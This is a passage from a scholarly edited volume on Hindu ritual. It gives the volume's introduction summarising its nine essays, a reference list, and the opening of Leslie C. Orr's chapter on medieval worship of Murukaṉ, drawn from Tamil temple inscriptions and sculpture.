Scholarly work on ritual that contemplates human behavior at the margins is not new to the field of religious studies, connected as it is to larger issues concerning shifting senses of identity. This line of inquiry has become increasingly timely as more people in various parts of the world come to interact (sometimes through global media, sometimes quite closely) with individuals, ethnic and social groups, and whole societies that differ in orientation from their own. Marriage, death, or any of the traditional rites of passage have been prime subjects for cross-cultural investigation. Those studies have been joined by work on "center" and "periphery," ritual and diasporic and minority communities, ritual and politics, and so forth (see, for example, Clothey 2006; Harlan and Courtright 1995). When we organized the conference on Hindu rituals at the margins that subsequently led to this collection of essays, bringing together a diverse group of scholars whose independent work maintains a social or historical focus on a particular geographic area or a particular textual or visual medium, we wondered whether or not a set of patterns or thematic considerations might emerge that would allow us to initiate a more comparative dialogue that would contribute to our understanding of ritual actors within Hinduism across a broader spectrum, both premodern and modern, and which might also be of value to ritual studies more broadly. As ritual—whether designed to reinforce or to transform—has been and remains a key activity for negotiating multidimensional margins among Hindu individuals and communities, we turn next to the thematic considerations that came to inform the essays in this volume.
Organization of the Volume
This volume is organized into three sections: "Transformations: History and Identity," "Innovations: Globalization and the Hindu Diaspora," and "Reconsiderations: Context and Theory." Each section comprises three chapters. In some ways these are artificial distinctions. Each essay in this collection has its own historical or social orientation, geographical or textual referent, and thematic focus, and each addresses one or more of the marginal aspects of ritual outlined at the beginning of this introduction. Readers will no doubt uncover multiple layers of overlap and synergy and different patterns and configurations between and among essays. As a rule we do not emphasize geographical or periodization groupings. Rather we highlight three thematic considerations that are suggested by the essays collected here, which offer new ways of thinking about a wide range of ritual activity.
_Transformations: History and Identity_
The essays in the first section focus on ways that Hindu ritual activity performed in Indian contexts intersects with historical, contextual, and social change. These essays look at ritual transformation at the margins of text and context or between contexts. Among other concerns shared by these three essays is the overriding question of what comparing and contrasting like activities enacted by dissimilar groups might suggest about issues concerning identity, ritual performance, and religious agency. In each instance ritual activity dedicated to a deity ("The Medieval Murukaṉ: The Place of a God among His Tamil Worshipers"), festival ("A Tale of Two Weddings: Gendered Performances of Tulsī's Marriage to Kṛṣṇa"), or rite of passage ("The Roles of Ritual in Two 'Blockbuster' Hindi Films") functions as though it were itself a complementary set of opposites, its structure and identity defined and transformed by its distinct groupings of participants. Yet even in the case where one group historically captures (most of) the narrative, what we learn from each of these essays is that we should not be too quick to label one ritual set of activities—or one group of participants—as marginal and the other not; more often than not, the two coexist in tandem—sometimes playing off or in contention with one another and at other times not.
In the opening essay to this volume, Leslie C. Orr explores the worship of the god Murukaṉ, who, with his lance ( _v ēl_) and other attributes and associations, is virtually emblematic of Tamil South India identity today. Orr notes that an abundance of devotional literature dedicated to Murukaṉ exists dating from before the seventh century and again after the fourteenth century, when Murukaṉ became an immensely popular object of worship. Yet despite significant religious developments in South India during the intervening centuries, the received literature is silent about the role of Murukaṉ. This has led scholars to speculate that the god was "Sanskritized" into Brahmanic Hinduism and subsumed within the pantheon of the god Śiva only to enjoy a "revival" in the past several centuries. Orr employs art historical and epigraphical evidence to challenge these assumptions convincingly. Rather, through the use of temple images, architecture, and inscriptions, she exposes the variations, shifting patterns, and significance of the worship of Murukaṉ (then commonly referred to as Subrahmaṇya) within the ritual context of the medieval temple during this "gap" period. Orr traces over time the variety of forms and modes of worship of him and the different ways in which his image was placed within the ritual space of the temple, highlighting the dynamic, pluralistic, and even subversive approaches to arrangements for and practices of worship in medieval Tamilnadu. In so doing she offers a detailed picture of the complexity, variety, and fluidity of Subrahmaṇya's significance in the ritual activities and ritual spaces of the medieval South Indian temple, which differed considerably from the ritual concerns reflected in medieval Sanskrit texts and which developed at sites (some still viable today) not associated with Murukaṉ's archaic Tamil mythos.
While Orr reads at the margins of her evidence, looking for clues about religious practice in contexts outside of the ritual context, Tracy Pintchman's "A Tale of Two Weddings" confronts ritual performance head-on, looking at how two different ritual communities perform what is ostensibly the same ritual. Toward the end of the autumn month of Kārtik (October–November), many Hindus in North India celebrate the marriage of Tulsī, the auspicious basil plant goddess, to her divine groom, usually understood to be Viṣṇu or one of his forms, most often his incarnation Kṛṣṇa. In Vārāṇasī (also called Benares), the wedding is performed ritually in numerous locations, including Hindu homes, temples, and public spaces. Pintchman examines two popular public celebrations of Tulsī's marriage—one enacted by female householders along the banks of the Ganges River, and the other performed by male renunciants in Śrī Maṭh, a Rāmānandi monastery. Here the margin of difference between the two communities becomes the focus of inquiry. Pintchman frames her argument in relation to the Hindu value of auspiciousness, a value that encompasses a concern both for fertility and for cosmic order. Not surprisingly the ritual performed by the women householders lays claim to the former concern, while the male renunciants' ritual emphasizes the latter. What Pintchman demonstrates, moreover, is that this dual interpretation of auspiciousness does not turn the ritual enactments into a duel. Rather, despite clearly drawn differences in both structure and interpretation, both sets of participants do not see their ritual in competition with the other. The lines between the this-worldly and liberative values of the ritual—and by extension between the two appropriations of Tulsī's wedding—remain fluid and permeable, resonating with the values and concerns that religious and social identity help push to the fore.
Philip Lutgendorf's essay, "The Roles of Ritual in Two 'Blockbuster' Hindi Films," completes this section on transformations. Lutgendorf challenges the conventional assumption that film viewing belongs to a "secular" sphere of human activity that is marginal to the "sacred" or "religious" sphere, taking under consideration two unusually successful film productions that were centrally structured around elaborate ritual performances. The narrative of the "mythological" film _Jai Santoshi Maa_ (Hail to the Mother of Satisfaction, dir. Vijay Mishra, 1975) largely focuses on the integration of a newly married woman into an extended rural household, even as it cinematically adapts the text of a popular _vrat-kath ā,_ a story told to accompany the performance of a votive fast performed over sixteen successive Fridays. The film climaxes with the successful completion of this ritual, resulting in a miraculous divine intervention. The second film, _Hum Aapke Hain Koun... !_ (Who Am I to You?, dir. Sooraj Barjatya, 1994), offers a near operatic extravaganza structured around the paradigmatic performance of an upper-class Hindu wedding, with a coda of a second marriage ceremony involving divine intervention through a family pet. Lutgendorf examines these two films through a kaleidoscope of opposites (family perceptions and gender orientation, sociopolitical contexts, ritual practice and object of devotion, and religious textual references, among others), focusing on how the ritual performances in each film function in both a narrative and perspective manner. For Lutgendorf just as the enactment of rituals is central to the unfolding of the plot and to its satisfactory resolution, in the context of the film's reception, these practices have come to be emulated, in part through "ritualized" reviewing of the films themselves. Thus in the end the films themselves become the ritual and the audience itself the ritual actors.
_Innovations: Globalization and the Hindu Diaspora_
The essays in the first section all take under consideration ritual and change in Indian contexts, where the issues of agency and identity, as well as points of contention, are, broadly speaking, internal affairs. Those in the second section focus on Hindu ritual practices that occur in geographically marginalized places outside of India. From this perspective each of these essays deals with the tensions and/or freedoms that underlie the adaptation and adoption of ritual activity that in large part stem from minority status in a diasporic community, shifting senses of personal and/or national identity, and the concomitant assumption of multiple orientations. These essays, moreover, all focus on the temple as the site where control of ritual activity is formed, challenged, and redefined, whether that involves the contestation for social status ("The Politics of Ritual among Murukaṉ's Malaysian Devotees"), nontraditional roles for women ("Women, Ritual, and the Ironies of Power at a North American Goddess Temple"), or negotiation and accommodation among diverse participants ("Hindu Ritual in a Canadian Context"). Thus while each of these essays shares some concerns with various essays in the first section, they stand apart in that they involve ritual change and politics: power struggles over a festival exacerbated by political events, gender politics in a Western environment, and immigration policies that initiated new ways of thinking about ritual space.
In "The Politics of Ritual among Murukaṉ's Malaysian Devotees," Elizabeth Fuller Collins and K. Ramanathan examine the politics of Hindu ritual devotion to Murukaṉ during the Tai Pūcam ritual, the major religious festival for Tamil Hindus in Malaysia, to illustrate how ritual performance gives expression to group identities and contested relations of power. They begin with a history of Tamil Hindu immigration to Malaysia in the nineteenth and twentieth centuries to show how claims to ritual authority were expressed in a community that remains deeply divided by caste and class differences. The caste-conscious Nattukottai Chettiyars worship Murukaṉ as Subrahmaṇia (Subrahmaṇya), who is associated with Brahmanic orthodoxy, and sought to reform forms of vow fulfillment that they found "primitive," including piercing the body and fire-walking. Working-class devotees of Murukaṉ, on the other hand, worship him as Taṇṭāyutapāṉi, the ascetic youth of the Palani Temple who rejects caste orthodoxy, and used various forms of bodily vow renewal rituals as a political statement. Collins and Ramanathan go on to demonstrate how the image of Murukaṉ has changed over the last thirty years, during which a transnational Hindu reform movement has promoted a vision of Hinduism as an egalitarian, inclusive, and universal religion. At the same time, in response to a transnational Islamic resurgence and violent clashes between Hindus and Muslims in India, Malaysian Hindus have adopted a defensive stance that ritually glorifies Murukaṉ as a warrior deity. Thus in Malaysia, as elsewhere, as religion becomes a political force, ritual tends to become ideological, with martial images superseding spiritual ones.
Corinne Dempsey's essay, "Women, Ritual, and the Ironies of Power at a North American Goddess Temple," explores the many-layered and specifically gendered ritual dynamics at a temple dedicated to the goddess Rājarājeśwarī in the town of Rush in upstate New York. In adherence with its Śrīvidyā Tantric tradition, this temple strictly follows orthodox ritual prescription yet departs sharply from convention when it encourages women's public participation in central priestly functions, the latter a deviation from other South Indian–style Hindu temples in the North American diaspora and elsewhere. This unusual mixing of strict orthopraxy with nonconvention in ritual contexts sets the stage for ironies that underlie power relations, both human and divine, at the temple. While ritual performances at Rush disregard traditional gender distinctions, the powerful _effects_ garnered by ritual performance are understood to underscore gender distinction that in some cases curtail women's—but not men's—participation. The factors that render many women vulnerable to some of the very powers to which they have specialized ritual access have to do with the potentially damaging effects of male temple divinities on menstruating women. Dempsey explores these ritual ironies as executed by Rush temple practices and interpreted by temple theology and lore by tracing the problems that menstruation and male divine power pose for female practitioners amid a celebration of women's exceptional privilege and authority. She concludes that while the ritual ironies that affect women at Rush may be rooted in part in the community's explicit support for women's ritual participation, their flipside hinges on cosmic and theological conundrums that can be far more difficult to unravel.
While Dempsey does not find the typical diasporic preoccupations with ethnic, communal, and national identity formation widely reflected in the temple practices at Rush, Paul Younger returns us to that theme in his essay. In the final chapter in this section on innovations, "Hindu Ritual in a Canadian Context," Younger offers a comparative analysis of the issues involved in the establishment of ritual routines in a variety of Canadian Hindu temples. Among the first wave of immigrants after Canadian immigration law changed to become more inclusive in 1967 was a significant number of Hindu individuals from many different parts of the world. Without any organization representing Hinduism to greet these immigrants, their impetus for forming temple communities was the Canadian law that required legally constituted boards to appoint "clergy" to officiate at weddings. Thus began the work of setting about forming temple communities and deciding which deities to worship and what variety of ritual practices to use in that worship. Younger presents a detailed analysis of the ways in which this discussion took (and continues to take) place in six representative temples in and around Toronto. The Hindu Samaj provides the example of how this process worked in community-style temples all over the country, where "ritual" is what the board democratically determines and where there is no claim of "authenticity" or a direct link with Indian practice. Hindu leaders who pictured the immigrant situation in a more confrontational way and offered to represent the Hindu community in that cultural challenge, on the other hand, did not ultimately fare well among Canadian Hindus. More recently as the Hindu population continues to expand and ethnic communities have begun to congregate in specific suburban areas or urban enclaves, the size and demographics of temples have changed, but the pattern of allowing the worshiping community to determine ritual forms democratically remains.
_Reconsiderations: Theory and Context_
The final section in this collection considers ritual in and from marginalized perspectives and contexts in ways that theorize from or with absence. The first two essays reconsider what we can learn from primary Hindu sources if we take serious note of their silences or look at their margins, to what may not have been the principal concern of their authors but which is nonetheless implicit in their narrative structure. David L. Haberman's "The Accidental Ritualist" navigates the transgression of an academic boundary that divides those who promote and perform rituals from those who theorize about them to discover ritual theory embedded in ancient narrative literature; Alf Hiltebeitel's "Ritual as Dharma: The Narrowing and Widening of a Key Term" challenges the roots of a theological model that ritualizes war and violence. The final essay in this volume, Joanne Punzo Waghorne's "From Diaspora to (Global) Civil Society: Global Gurus and the Processes of De-ritualization and De-ethnization in Singapore," while sharing some of the concerns that result from globalization with essays in the previous section, considers that the absence of ritual may be the new "ritual" or antiritual and warns us, as scholars of ritual studies, to pay greater attention to new terminologies and nuance shifts in familiar terms.
In "The Accidental Ritualist" Haberman observes that theorizing about ritual has largely been assumed to be the intellectual property of Western academics. Scholars of religious studies are familiar with academic theories about the nature and function of rituals, as we ourselves have taken note earlier in this introduction. Haberman comes at ritual theory from the other end and draws our attention to the idea that there are other perspectives on ritual available to us outside the Western academy with which we can usefully think, namely, indigenous views on ritual experience to be found in nonacademic literature and even sacred texts. Such genres are usually marginalized by Western academic discourse and are in fact completely absent from serious theoretical inquiry. Haberman takes as his case study a genre of Purāṇic narratives in which a person performs a ritual accidentally and yet the ritual nonetheless has a transformative effect. Although the Purāṇas, while filled with detailed descriptions of ritual performances and accounts of benefits to be gained by performing these rituals, do not treat the subject of ritual theory explicitly, Haberman investigates this genre of story as a kind of implicit theorizing about the efficacy of the ritual experience. He proposes that by emphasizing the fortuitous, these Purāṇic accounts highlight the importance of physical performance in rituals and cause us to ponder the efficacy of bodily acts completely divorced from any intention. Accidental ritualists may be lost with regard to knowledge and intentionality, but in the Purāṇas they achieve the desired goal nonetheless and in so doing give us much to think about when considering the nature of ritual performance.
Hiltebeitel's "Ritual as Dharma" brings differential light on the roles of Brahmans, kings, and Kṣatriyas in the ritualization of war and violence. He begins with the equation often made in writings on Hinduism between dharma and karma as ritual action. The usual argument is that dharma is defined primarily by sacrificial action as a type of ritual action and therefore is a subspecies of ritual action. Hiltebeitel counters that it is misleading to derive this equation from the earliest Ṛgvedic uses of the term _dhárman,_ from which the concept and word _dharma_ derive. He goes on to argue that this equation, which is in fact absent from the earliest Hindu texts, persists in overgeneralized discussions that overlook three splits in the way dharma is treated in the legal and epic texts, where it is for first time made a central concept. By calling attention to how activities are ascribed to different castes and personages within them in these later texts, Hiltebeitel demonstrates that the equation between dharma and ritual action has been familiarized on a carefully hedged ideological model that ritualizes war and violence in the name of the Kṣatriya's _svadharma_ ("own law" or "own job") as self-sacrificial, desireless action. Such a perspective of invoking ritual as the model for interpreting dharma, he concludes, is more marginal to the contexts he explores than scholars have previously acknowledged.
In Waghorne's essay, "From Diaspora to (Global) Civil Society," the author explores the place of ritual practice in guru-centered movements among the largely Tamil Indian diaspora in multiethnic Singapore. These formal and informal groups openly replace "religion" (and with it "ritual") with "spirituality" (and with it "yoga") and emphasize the search for widely applicable values and practices over the construction of ethno-religious identity. With their gurus based mostly in South India, these movements nonetheless remain global in outlook as they seek to move their rhetoric of inclusiveness into practice by seeking members from the more numerous Chinese among the population of Singapore. In this process of restructuring religiosity, "ritual" becomes suspect as part of the traditional Hindu world, useful for self-identifying Hindus but ineffective as a source for personal spiritual growth or the development of a multiethnic constituency. Waghorne argues that for these new movements, "ritual" is religion, but _kriya_ (yoga-mediation practice) is spirituality; the former is for Hindus, the latter for the world. De-ethnization requires de-ritualization. She concludes by urging theorists of ritual studies to listen for these changing tones in terminology, signaling the rise of global secular values within which actions we would call "ritual" are understood as scientific, universal, and therefore widely applicable to daily human problems in a rapidly consumer-driven, technology-centered globalizing world.
While we draw upon a broad diversity of historical, geographical, and textual contexts, together these chapters argue for inclusion of approaches to and perspectives on the study of Hindu ritual that are attentive to difference, silence, and even absence. We contend that the new attention in ritual studies given to ritual as a "how" instead of a "what," to use Grimes's words, or as the way of acting that Bell wants to call "ritualizing," requires that we stretch our attention to the margins, as it were, and look beyond the familiar, both in terms of data and in terms of theoretical and critical approach. This volume represents one step, however incomplete, in that direction.
References
Bell, Catherine. 1989. "Religion and Chinese Culture: Towards an Assessment of 'Popular Religion.'" _History of Religions_ 29, no. 1: 35–57.
———. 1992. _Ritual Theory, Ritual Practice._ New York: Oxford University Press.
———. 1997. _Ritual: Perspectives and Dimensions._ New York: Oxford University Press.
———. 1998. "Performance." In _Critical Terms for Religious Studies,_ edited by Mark C. Taylor, 205–24. Chicago: University of Chicago Press.
Bourdieu, Pierre. [1980] 1990. _The Logic of Practice._ Translated by Richard Nice. Stanford, Cal.: Stanford University Press.
Clothey, Fred W. 2006. _Ritualizing on the Boundaries: Continuity and Innovation in the Tamil Diaspora._ Studies in Comparative Religion. Columbia: University of South Carolina Press.
Collins, Elizabeth Fuller. 1997. _Pierced by Murugan's Lance: Ritual, Power, Redemption among Malaysian Hindus._ DeKalb: Northern Illinois University Press.
Grimes, Ronald. 1990. _Ritual Criticism: Case Studies in Its Practice, Essays on Its Theory._ Columbia: University of South Carolina Press.
Hancock, Mary Elizabeth. 1999. _Womanhood in the Making: Domestic Ritual and Public Culture in Urban South India._ Boulder, Colo.: Westview.
Harlan, Lindsey, and Paul B. Courtright, eds. 1995. _From the Margins of Hindu Marriage: Essays on Gender, Religion, and Culture._ New York: Oxford University Press.
Llewellyn, J. E. 2005. _Defining Hinduism: A Reader._ London: Routledge.
Lorenzen, David. 1999. "Who Invented Hinduism?" _Society for the Comparative Study of Society and History:_ 630–59.
Schechner, Richard. 1988. _Performance Theory._ Revised and expanded edition. New York: Routledge.
Sered, Susan Starr. 1994. _Priestess, Mother, Sacred Sister: Religions Dominated by Women._ New York: Oxford University Press.
Sharf, Robert H. 2005. "Ritual." In _Critical Term for the Study of Buddhism,_ edited by Donald S. Lopez Jr., 245–70. Chicago: University of Chicago Press.
Smith, Jonathan Z. 1987. _To Take Place: Toward Theory in Ritual._ Chicago: University of Chicago Press.
Tambiah, Stanley J. 1979. "A Performative Approach to Ritual." _Proceedings of the British Academy_ 65: 113–69.
## PART 1
## _Transformations_
History and Identity
## The Medieval Murukaṉ
_The Place of a God among His Tamil Worshipers_
LESLIE C. ORR
The god Murukaṉ enjoys immense popularity in Tamilnadu today and is virtually an emblem of Tamil identity. The temple dedicated to Murukaṉ at Palani, in the hills to the northwest of Madurai, receives the largest number of pilgrims and the greatest quantity of gifts of any temple in Tamilnadu. While it is acknowledged that the pilgrimage and patronage activities focused on Murukaṉ have seen an upsurge in the last several centuries, this is often regarded as a "revival" of devotion to a god who was widely worshiped in the Tamil country in ancient times—two thousand years ago or more. There is indeed an abundance of devotional literature and textual evidence of rituals dedicated to Murukaṉ dating from before the seventh century. But in subsequent times, up until the fourteenth century, literary sources have virtually nothing to tell us about this god—variously referred to by the Tamil and Sanskrit names Murukaṉ, Skanda, and Subrahmaṇya—or about those who may have worshiped him.
This discontinuity, the gap between the seventh and fourteenth centuries, is quite puzzling. Fred Clothey has suggested that the dearth of medieval textual references to the god is a consequence of Sanskritization and of a movement toward "proliferation and concretization," in which Murukaṉ—along with other deities—was subsumed within the Śaiva pantheon (1978, 77). That such processes took place seem to be borne out by a shift between the seventh and eighth centuries and the eleventh century in the depiction and significance of Somāskanda (Śiva together with his consort, Umā, and his son Skanda). These three figures are first found sculpted on the stone walls of temples in a variety of compositions. By the eleventh century, the composition becomes fixed, and the three figures become a single icon cast in bronze; this image is taken in procession as the main festival image representing Śiva (L'Hernault 1978, 63–66). Here indeed the god Skanda/Murukaṉ/Subrahmaṇya has lost his autonomy.
But in fact the Somāskanda image is not the only image of Murukaṉ to be found. The rich architectural and artistic heritage of medieval Tamilnadu has a great deal to tell us about how Murukaṉ was regarded and how he continued to be worshiped. For if the literary sources of the seventh to fourteenth centuries are silent on these subjects, the inscriptions engraved on temple walls in this period are not. In this essay I focus on what the art historical and epigraphical evidence has to say about the variations, shifting patterns, and significance of the worship of Murukaṉ within the ritual context of the medieval temple. Indeed these sources provide us with precious on-the-ground testimony of how people actually carried out forms of ritual worship at specific sites. With a sculpture of the god before us, we get a vivid sense of the form of the divine with which the medieval worshiper was confronted; meanwhile the inscriptions provide us with details of how worship was conducted—with offerings of lamps, flowers, and food, for example—and document the image donation and temple building of various types of patrons.
Of particular interest to my inquiry is the question of where precisely the god Murukaṉ was placed within the ritual space of the temple; both the physical fabric of the extant temple and the inscriptions at the temple speak to these issues and show the variety of possible arrangements that were made. Does the material evidence from the medieval period indicate that there was a "central" deity in the temple, that therefore it was "his temple," and that he was the main object of worship—and that this "central" deity was ever Murukaṉ? Does the placement of gods (such as Murukaṉ) in smaller structures, usually referred to as "shrines," around a "central" deity suggest hierarchical theological notions or ritual protocols? What is the significance of the appearance of Murukaṉ in a rock-cut cave in the company of other deities, or of his appearance on a temple wall, or on a ś _ikhara_ (temple tower) or _gopura_ (gate tower)? And how do worshipers interact with the space of the temple once the gods are emplaced: do they acknowledge a single god's centrality? Is it possible for them to reconstruct or reinterpret the space? What scope is there for innovative or even subversive ritual performances?
My exploration of Murukaṉ's worship in the period between the seventh and fourteenth centuries—when relevant literary sources are so scarce—is thus based on two sorts of evidence, which allow me to trace chronological changes as well as geographical variations. With reference to the latter, I consider medieval Tamilnadu to be divided into four areas: a northern region (Chingleput, North Arcot, and South Arcot districts), Cholanadu or the Kaveri River zone (Thanjavur and Tiruchirappalli districts), western Tamilnadu (Coimbatore, Kolar, and Salem districts), and southern Tamilnadu (Kanyakumari, Madurai, Ramnad, and Tirunelveli districts).1
The first body of evidence employed in this study consists of the nearly one hundred temple inscriptions that I was able to locate that refer to the ritual worship of Murukaṉ or whose placement on a Murukaṉ shrine or temple indicates the existence of a context for this worship. One hundred inscriptions, it must be recognized, represent a very tiny fraction of the nearly twenty thousand inscriptions that have been found in the Tamil country. Although there are surely more epigraphical references to Murukaṉ than I have thus far found, it is nonetheless clear that through the whole of the period under review, Murukaṉ worship was not a prominent feature of religious life or, at any rate, the religious life centered on the temple.
The second type of evidence I employ is art and architecture. I have catalogued more than two hundred stone and bronze images or other material evidence—apart from inscriptions—of Murukaṉ worship, including in my survey only those images which are still in situ or whose provenance is known and excluding Somāskanda images. For this study of Murukaṉ's images, I drew on a variety of sources, including my own fieldwork at temples, but am especially indebted to the comprehensive and masterful work of Françoise L'Hernault, particularly her book _L'Iconographie de Subrahma ṇya au Tamilnad._
Before and After
The material evidence of the seventh to fourteenth centuries—when there are virtually no literary references to Murukaṉ—must be placed within the chronological frame that is built in large part from just such references. I offer a brief outline of Murukaṉ worship in the historical periods that precede and follow the span of time with which I am concerned.
The earliest references to Murukaṉ occur in the so-called Caṇkam literature, the classical Tamil literature of the first few centuries of the Common Era. Here Murukaṉ is portrayed as the beautiful god of the forested hills, bearing a lance (the _v ēl_); he is married to the hunter-maiden Vaḷḷi and is the enemy of the demon Cūraṉ. Ceremonies dedicated to Murukaṉ were officiated over by the _v ēlaṉ,_ a priest who offered the god mountain rice mixed with blood and who was sometimes called in to perform exorcisms on young women who were possessed by the god (Zvelebil 1991, 78–80). The poems _Parip āṭal_ and _Tirumuruk āṟṟuppaṭai_—composed in the fourth or fifth centuries or somewhat later—contain extensive descriptions of the god and his attributes, including his association with the elephant, the peacock, and the rooster. These poems also introduce us to a second wife, Devasenā (called in Tamil Tēvayāṉai), and provide an account of Murukaṉ's birth as the son of Śiva. _Parip āṭal_ describes Murukaṉ's abode Tirupparankunram, a hill just outside of the city of Madurai to the southwest. _Tirumuruk āṟṟuppaṭai_ mentions the presence of Murukaṉ at six places; these references are, however, quite brief, being marginal to the main theme of the poem, which is the praise of the god's qualities and exploits. Only three of the six sites mentioned in _Tirumuruk āṟṟuppaṭai_ can be identified with any degree of certainty: Tirupparankunram near Madurai, Tiruccentur further south on the coast east of Tirunelveli, and Palani in the hills far to the northwest of Madurai (Filliozat 1973, xxxv–xxxvii; Clothey 1978, 64–69; Clothey 1983, 23–39; L'Hernault 1978, 185ff.).
Nearly a millennium passed before Murukaṉ resurfaced in Tamil literature, most famously in the poems _Tiruppuka ḻ, Kantar aṉupūti,_ and _Kantar ala ṇkāram_ that were composed—probably in the early fifteenth century—by Aruṇakirināta. Aruṇakirināta is supposed to have spent a dissolute early life in the great Śaiva temple town of Tiruvannamalai; finally driven by his misery to complete despair, he resolved to end his life by leaping from the _gopura_ over the northern entrance to the temple. As he was about to cast himself down, Lord Murukaṉ appeared before him in the guise of an old man, touched Aruṇakirināta's tongue with his _v ēl,_ and commanded him to sing. Thus, according to legend, began Aruṇakirināta's career as a poet and devotee of Murukaṉ (Clothey 1984, 5–9). Aruṇakirināta's work includes praise poems dedicated to more than two hundred places where Murukaṉ is said to dwell, many of which are (or were) actually temples dedicated to Śiva.
At the same time that Aruṇakirināta was composing his hymns, several other important works expressing devotion to Murukaṉ appeared. The Tamil Kanta Purāṇam was composed at the end of the fourteenth century or slightly later by Kacciyappa Civācāriyar of Kanchipuram (Zvelebil 1991, 15–16). Pakaḻikkūttar's _Tiruccent ūr Piḷḷaittamiḻ,_ which depicts Lord Murukaṉ of Tiruchchendur as a child, also probably dates from the early fifteenth century and is celebrated as the earliest example of the fully developed poetic form of _pi ḷḷaittamiḻ,_ a genre of devotional literature that images the deity being praised in the form of a child (Richman 1997, 53–80; see also Clothey 1978, 156–60). Meanwhile between the fourteenth and eighteenth centuries, we see the building of more and more temples dedicated to Murukaṉ and increasing numbers of pilgrims visiting Murukaṉ's temples (Stein 1978, 19–22; Rudner 1987, 365–69). It is not until the late nineteenth and early twentieth centuries, however, that devotion to Murukaṉ dramatically intensified with the rediscovery and popularization of Aruṇakirināta's works, the expansion and solidification of Murukaṉ's network of temples, and the tying of Murukaṉ to Tamil national identity (Clothey 1978, 113–31; Clothey 1984, 30–37).
The Seventh and Eighth Centuries
Up until this point, I have been referring to Murukaṉ by the name by which the god is most frequently known in the Tamil literature we have just been considering and in contemporary Tamil usage. From now on, however, when I refer to this deity as he appears in the medieval temple context, I call him Subrahmaṇya, since this is by far the most common name for the god in the inscriptions. He is often referred to by other names as well, including Iḷaiya nāyaṉār, Kuṉṟamēṟinta piḷḷaiyār, and Skanda, but is called Murukaṉ only once in a thirteenth-century inscription from Tiruvannamalai (EI 27.18).
The earliest material evidence of the ritual worship of Subrahmaṇya in the "gap" period between the composition of _Tirumuruk āṟṟuppaṭai_ and the work of Aruṇakirināta (ca. fifth to early fifteenth centuries) comes from sculptural representations of the seventh and eighth centuries. In this period images of Somāskanda are numerous and evidently had emblematic significance for the Pallava royal family based in northern Tamilnadu,2 but I have found only fourteen representations of Subrahmaṇya as an individual figure dating from the seventh or eighth century. These images appear as niche figures on the walls or temple towers ( _ś ikhara_s) of structural temples or as relief sculptures in rock-cut temples or on the enclosing walls ( _pr ākāra_s) of structural temples. They are concentrated around the northern towns of Kanchipuram and Mahabalipuram, on the one hand, and around Madurai and further to the south in Kalugumalai, on the other—that is, in the areas over which the rulers of the Pallava and the Pandya dynasties, respectively, laid claim.
With the possible exception of a late eighth-century cave sculpture in the village of Kalugumalai, now located deep within the interior of a relatively recent Murukaṉ temple (Soundara Rajan 1998, 99–100), none of these figures seems to have been designed as the central object of worship in a Subrahmaṇya temple. At Anaimalai, the elephant-shaped hill to the north of Madurai, there is a cave containing a worn but graceful image of Subrahmaṇya together with a consort. This is frequently cited as the earliest extant temple dedicated to this god, but L'Hernault suggests that this rock-cut cave, without any auxiliary deities, has more the character of a shrine than a temple.3 At Anaimalai, in fact, Subrahmaṇya is one of several deities who were established on the rocky hill in the eighth century, including Viṣṇu as Narasiṃha and a group of Jain Tīrthaṇkaras and _yak ṣī_s or Jain goddesses (Pattabiramin 1971–75, 2:51; Nagaswamy 1997, 51–53).
At Tirupparankunram, to the southwest of Madurai, Subrahmaṇya is again part of a constellation of deities. This site is praised in _Parip āṭal_ as the abode of Murukaṉ and is today the site of an important Murukaṉ temple, constructed for the most part in the seventeenth century by the Nayakas of Madurai. Here in the rock-cut temple excavated in the eighth century, are five separate shrines: for Gaṇeśa, Durgā, and Subrahmaṇya along the back of the cave and for Śiva and Viṣṇu, who face each other from the two side walls (L'Hernault 1978, 75, 134).4 Apart from this temple, Tirupparankunram also features shrines and relief sculptures of a number of goddesses, Śiva in various forms, and Gaṇeśa; early Jain caves; and even a Muslim tomb on the mountain's peak, built around the time of the transformation of the rock-cut temple at its foot into a major temple dedicated to Murukaṉ in the seventeenth century (Devakunjari 1979, 106–12; Branfoot 2003).
In the Pallava territory to the north, Subrahmaṇya is once again discovered in a multi-shrine context. In the so-called Trimūrti cave at Mahabalipuram, excavated in the seventh century, Subrahmaṇya's shrine is placed on the worshiper's left where we would expect to find Brahmā's with Śiva's in the center and Viṣṇu's on the right. The large (1.5 meters tall) sculpture of Subrahmaṇya carved on the shrine's back wall bears the attributes of Brahmā and, like Brahmā in sculptures elsewhere, is attended by ascetics (L'Hernault 1978, 98, 103–4, ph. 51). And as at Tirupparankunram in the far south, so too in northern Tamilnadu, at the Kailasanātha temple of Kanchipuram dedicated to Śiva, we find Subrahmaṇya paired with Gaṇeśa and flanking the goddess Durgā, in this case on the southern _pr ākāra_ (enclosing wall) near the entrance to the inner courtyard of the temple. In addition to this image illustrated above (and the dozens of beautiful Somāskanda images on the _pr ākāra_ and temple walls and within the temple itself), one of the relief panels on the _pr ākāra_ appears to depict the birth of Subrahmaṇya, and another sculpted panel at the Kailasanātha temple represents Subrahmaṇya's marriage.5 At two other eighth-century temples in Kanchipuram, the Mātaṇgeśvara and the Mukteśvara, Subrahmaṇya is found as a niche figure on the north wall of the central shrine in the place of the god Brahmā, bearing the attributes of Brahmā—the rosary and water pot.
Subrahmaṇya. Eighth-century stone relief sculpture at the Kailasanātha temple in Kanchipuram. Photograph by the author.
The Ninth Century
Continuing into the ninth century, we find that these two attributes of Brahmā—the rosary and water pot—borne together or singly are especially characteristic of images of Subrahmaṇya in Tondaimandalam, the Pallava area in the northern part of the Tamil country (see L'Hernault 1978, carte III). But these attributes, particularly the rosary, are also featured in at least half of the ninth-century images of Subrahmaṇya outside this zone. If one of the four hands of Subrahmaṇya holds the rosary, the opposite one typically bears the _vajra,_ the weapon of Indra. Also perhaps evocative of Indra—or of the Murukaṉ of the Tamil hill country—is the presence of the elephant in sculptures of the ninth century. The elephant appears either as the mount of Subrahmaṇya—for example in the niche figures at Tiruvalisvaram (Tirunelveli district), Kodumbalur (Pudukkottai/Tiruchirappalli district), and Tirukkattuppalli (Thanjavur district)—or positioned, like Nandi, facing the image, as at the Subrahmaṇya shrine at Piranmalai (Ramnad district). In some cases Subrahmaṇya bears two weapons: the _vajra_ paired with what is known as his _ś akti,_ a leaf-shaped blade that may hark back to Murukaṉ's _v ēl_ but resembles a dagger more than a lance.
